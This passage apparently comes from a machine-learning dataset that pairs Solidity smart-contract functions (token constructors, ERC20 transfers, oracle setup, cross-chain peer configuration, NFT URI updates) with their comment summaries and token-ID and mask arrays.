0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1196,
12,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
460,
16,
203,
3639,
1731,
3778,
501,
16,
203,
3639,
6057,
18,
2988,
1674,
203,
565,
262,
2713,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
309,
261,
24594,
480,
1758,
12,
20,
3719,
288,
203,
5411,
467,
16709,
12,
24594,
2934,
1893,
3342,
12,
203,
7734,
358,
16,
203,
7734,
460,
16,
203,
7734,
501,
16,
203,
7734,
1674,
16,
203,
7734,
374,
16,
203,
7734,
374,
16,
203,
7734,
374,
16,
203,
7734,
1758,
12,
20,
3631,
203,
7734,
8843,
429,
12,
20,
3631,
203,
7734,
1731,
2932,
20,
92,
6,
3631,
203,
7734,
1758,
12,
20,
13,
203,
5411,
11272,
203,
3639,
2216,
273,
467,
23999,
12,
3299,
2934,
4177,
3342,
1265,
3120,
12,
203,
5411,
358,
16,
203,
5411,
460,
16,
203,
5411,
501,
16,
203,
5411,
1674,
203,
3639,
11272,
203,
3639,
309,
261,
24594,
480,
1758,
12,
20,
3719,
288,
203,
5411,
467,
16709,
12,
24594,
2934,
1893,
4436,
3210,
12,
3890,
1578,
2932,
20,
92,
6,
3631,
2216,
1769,
203,
3639,
289,
203,
3639,
327,
2216,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.26;
import "../Standards/IContractId.sol";
/// @title sets duration of states in ETO
contract ETODurationTerms is IContractId {
////////////////////////
// Immutable state
////////////////////////
// duration of Whitelist state
uint32 public WHITELIST_DURATION;
// duration of Public state
uint32 public PUBLIC_DURATION;
// time for Nominee and Company to sign Investment Agreement offchain and present proof on-chain
uint32 public SIGNING_DURATION;
// time for Claim before fee payout from ETO to NEU holders
uint32 public CLAIM_DURATION;
////////////////////////
// Constructor
////////////////////////
constructor(
uint32 whitelistDuration,
uint32 publicDuration,
uint32 signingDuration,
uint32 claimDuration
)
public
{
WHITELIST_DURATION = whitelistDuration;
PUBLIC_DURATION = publicDuration;
SIGNING_DURATION = signingDuration;
CLAIM_DURATION = claimDuration;
}
//
// Implements IContractId
//
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x5fb50201b453799d95f8a80291b940f1c543537b95bff2e3c78c2e36070494c0, 0);
}
}
| @title sets duration of states in ETO Immutable state duration of Whitelist state duration of Public state time for Nominee and Company to sign Investment Agreement offchain and present proof on-chain time for Claim before fee payout from ETO to NEU holders Constructor | contract ETODurationTerms is IContractId {
uint32 public WHITELIST_DURATION;
uint32 public PUBLIC_DURATION;
uint32 public SIGNING_DURATION;
uint32 public CLAIM_DURATION;
constructor(
uint32 whitelistDuration,
uint32 publicDuration,
uint32 signingDuration,
uint32 claimDuration
)
public
{
WHITELIST_DURATION = whitelistDuration;
PUBLIC_DURATION = publicDuration;
SIGNING_DURATION = signingDuration;
CLAIM_DURATION = claimDuration;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x5fb50201b453799d95f8a80291b940f1c543537b95bff2e3c78c2e36070494c0, 0);
}
}
| 15,866,127 | [
1,
4424,
3734,
434,
5493,
316,
512,
4296,
7252,
919,
3734,
434,
3497,
7523,
919,
3734,
434,
7224,
919,
813,
364,
423,
362,
558,
73,
471,
26782,
358,
1573,
5454,
395,
475,
5495,
10606,
3397,
5639,
471,
3430,
14601,
603,
17,
5639,
813,
364,
18381,
1865,
14036,
293,
2012,
628,
512,
4296,
358,
12901,
57,
366,
4665,
11417,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4518,
1212,
872,
11673,
353,
467,
8924,
548,
288,
203,
203,
203,
565,
2254,
1578,
1071,
24353,
7085,
67,
24951,
31,
203,
203,
565,
2254,
1578,
1071,
17187,
67,
24951,
31,
203,
203,
565,
2254,
1578,
1071,
12057,
1360,
67,
24951,
31,
203,
203,
565,
2254,
1578,
1071,
29859,
3445,
67,
24951,
31,
203,
203,
203,
565,
3885,
12,
203,
3639,
2254,
1578,
10734,
5326,
16,
203,
3639,
2254,
1578,
1071,
5326,
16,
203,
3639,
2254,
1578,
10611,
5326,
16,
203,
3639,
2254,
1578,
7516,
5326,
203,
565,
262,
203,
3639,
1071,
203,
565,
288,
203,
3639,
24353,
7085,
67,
24951,
273,
10734,
5326,
31,
203,
3639,
17187,
67,
24951,
273,
1071,
5326,
31,
203,
3639,
12057,
1360,
67,
24951,
273,
10611,
5326,
31,
203,
3639,
29859,
3445,
67,
24951,
273,
7516,
5326,
31,
203,
565,
289,
203,
203,
203,
565,
445,
6835,
548,
1435,
1071,
16618,
1135,
261,
3890,
1578,
612,
16,
2254,
5034,
1177,
13,
288,
203,
3639,
327,
261,
20,
92,
25,
19192,
25,
3103,
1611,
70,
7950,
6418,
2733,
72,
8778,
74,
28,
69,
31644,
12416,
70,
29,
7132,
74,
21,
71,
6564,
4763,
6418,
70,
8778,
70,
1403,
22,
73,
23,
71,
8285,
71,
22,
73,
29751,
27,
3028,
11290,
71,
20,
16,
374,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5f896e0Bf4AdAFcCDCF33a3C38bcBFCCB793D44f/sources/browser/HEXMONEY.sol | mint founder tokenscreate uni exchange | constructor() public {
admins[FOUNDER] = true;
admins[KYLE] = true;
admins[MARCO] = true;
admins[SWIFT] = true;
admins[MICHAEL] = true;
admins[msg.sender] = true;
uniETHHXY = uniFactoryInterface.createExchange(address(this));
uniHXYInterface = UniswapExchangeInterface(uniETHHXY);
}
| 2,996,151 | [
1,
81,
474,
284,
465,
765,
2430,
2640,
7738,
7829,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
31116,
63,
3313,
31625,
65,
273,
638,
31,
203,
3639,
31116,
63,
47,
12564,
65,
273,
638,
31,
203,
3639,
31116,
63,
19772,
3865,
65,
273,
638,
31,
203,
3639,
31116,
63,
18746,
17925,
65,
273,
638,
31,
203,
3639,
31116,
63,
7492,
1792,
37,
2247,
65,
273,
638,
31,
203,
3639,
31116,
63,
3576,
18,
15330,
65,
273,
638,
31,
203,
3639,
7738,
1584,
17500,
8546,
273,
7738,
1733,
1358,
18,
2640,
11688,
12,
2867,
12,
2211,
10019,
203,
3639,
7738,
44,
8546,
1358,
273,
1351,
291,
91,
438,
11688,
1358,
12,
318,
77,
1584,
17500,
8546,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x9caBE9340644168Ede11AA65013DDF0D4bccF39B/sources/Roof.sol | Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing. | function _takeTransfer(address from, address to, uint256 amount) internal virtual {
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
| 3,920,667 | [
1,
15526,
486,
3323,
30,
326,
2142,
434,
777,
324,
26488,
353,
3523,
1845,
635,
2078,
3088,
1283,
16,
471,
326,
2142,
353,
21096,
635,
15267,
310,
1508,
5504,
310,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
22188,
5912,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
3844,
13,
2713,
5024,
288,
203,
3639,
2254,
5034,
628,
13937,
273,
389,
70,
26488,
63,
2080,
15533,
203,
3639,
2583,
12,
2080,
13937,
1545,
3844,
16,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
565,
22893,
288,
203,
3639,
389,
70,
26488,
63,
2080,
65,
273,
628,
13937,
300,
3844,
31,
203,
3639,
389,
70,
26488,
63,
869,
65,
1011,
3844,
31,
203,
565,
289,
203,
3639,
3626,
12279,
12,
2080,
16,
358,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x2AF772E90398B6Eca5bfb4c36d20bEAb71979938/sources/src/SteamerBuffer.sol | @notice Flush funds to the amo. @param underlyingToken The underlyingToken to flush. @param amount The amount to flush. | function _flushToAmo(address underlyingToken, uint256 amount) internal {
TokenUtils.safeTransfer(underlyingToken, amos[underlyingToken], amount);
IERC20TokenReceiver(amos[underlyingToken]).onERC20Received(underlyingToken, amount);
}
| 2,685,952 | [
1,
8207,
284,
19156,
358,
326,
2125,
83,
18,
225,
6808,
1345,
1021,
6808,
1345,
358,
3663,
18,
225,
3844,
1850,
1021,
3844,
358,
3663,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
11330,
774,
37,
8683,
12,
2867,
6808,
1345,
16,
2254,
5034,
3844,
13,
2713,
288,
203,
3639,
3155,
1989,
18,
4626,
5912,
12,
9341,
6291,
1345,
16,
2125,
538,
63,
9341,
6291,
1345,
6487,
3844,
1769,
203,
3639,
467,
654,
39,
3462,
1345,
12952,
12,
301,
538,
63,
9341,
6291,
1345,
65,
2934,
265,
654,
39,
3462,
8872,
12,
9341,
6291,
1345,
16,
3844,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x045016Cae6dc4041d3496133506CCcb191BE672d/sources/OnePlanetToken.sol | priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); mainNetpriceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331); kovan | constructor() public {
symbol = "1PL";
name = "1Planet Token";
decimals = 18;
bonusEnds = now + 1 weeks;
endDate = now + 2000 weeks;
oracleAddress = 0x9326BFA02ADD2366b30bacB125260Af641031331;
retirementAddress = 0xacCeB894DbA9632E49C56bC0ED75e515aeA95a12;
priceFeed = AggregatorV3Interface(oracleAddress);
}
| 9,040,460 | [
1,
8694,
8141,
273,
10594,
639,
58,
23,
1358,
12,
20,
92,
25,
74,
24,
73,
39,
23,
40,
74,
29,
7358,
72,
24,
6418,
3461,
8090,
5324,
7132,
74,
25,
41,
5718,
2313,
23643,
71,
25,
70,
5193,
3657,
1769,
2774,
7308,
8694,
8141,
273,
10594,
639,
58,
23,
1358,
12,
20,
92,
29,
27284,
38,
2046,
3103,
8355,
4366,
6028,
70,
5082,
70,
1077,
38,
2138,
9401,
4848,
12664,
1105,
23494,
3437,
6938,
1769,
417,
1527,
304,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
21,
6253,
14432,
203,
3639,
508,
273,
315,
21,
5365,
278,
3155,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
324,
22889,
24980,
273,
2037,
397,
404,
17314,
31,
203,
3639,
13202,
273,
2037,
397,
16291,
17314,
31,
203,
202,
202,
280,
16066,
1887,
273,
374,
92,
29,
27284,
38,
2046,
3103,
8355,
4366,
6028,
70,
5082,
70,
1077,
38,
2138,
9401,
4848,
12664,
1105,
23494,
3437,
6938,
31,
203,
202,
202,
1349,
577,
475,
1887,
273,
374,
92,
1077,
39,
73,
38,
6675,
24,
4331,
37,
10525,
1578,
41,
7616,
39,
4313,
70,
39,
20,
2056,
5877,
73,
25,
3600,
8906,
37,
8778,
69,
2138,
31,
203,
202,
202,
8694,
8141,
273,
10594,
639,
58,
23,
1358,
12,
280,
16066,
1887,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x1a06200755F687F2edc683B9B061F5790E2cbe4D/sources/contracts/AnyCallGateway.sol | Allow same configuration on multiple chains | function setPeers(KeyToAddressValue[] calldata _peers) external onlyManager {
for (uint256 index; index < _peers.length; index++) {
KeyToAddressValue calldata item = _peers[index];
uint256 chainId = item.key;
address peerAddress = item.value;
if (chainId == block.chainid) {
if (peerAddress != address(this)) {
revert PeerAddressMismatchError();
}
_setPeer(chainId, peerAddress);
}
}
}
| 8,315,947 | [
1,
7009,
1967,
1664,
603,
3229,
13070,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
14858,
12,
653,
774,
1887,
620,
8526,
745,
892,
389,
30502,
13,
3903,
1338,
1318,
288,
203,
3639,
364,
261,
11890,
5034,
770,
31,
770,
411,
389,
30502,
18,
2469,
31,
770,
27245,
288,
203,
5411,
1929,
774,
1887,
620,
745,
892,
761,
273,
389,
30502,
63,
1615,
15533,
203,
203,
5411,
2254,
5034,
2687,
548,
273,
761,
18,
856,
31,
203,
5411,
1758,
4261,
1887,
273,
761,
18,
1132,
31,
203,
203,
5411,
309,
261,
5639,
548,
422,
1203,
18,
5639,
350,
13,
288,
203,
7734,
309,
261,
12210,
1887,
480,
1758,
12,
2211,
3719,
288,
203,
10792,
15226,
10669,
1887,
16901,
668,
5621,
203,
7734,
289,
203,
7734,
389,
542,
6813,
12,
5639,
548,
16,
4261,
1887,
1769,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x8e378D132a99157FF3357a3d894682424D2d2110/sources/NftPlatform/UNFTART1155.sol | * @dev Will update the base URI for the token @param tokenId The token to update. _msgSender() must be its creator. @param newURI New URI for the token./ | function setTokenUri(uint256 tokenId, string memory newURI) public creatorOnly(tokenId) {
_tokenUri[tokenId] = newURI;
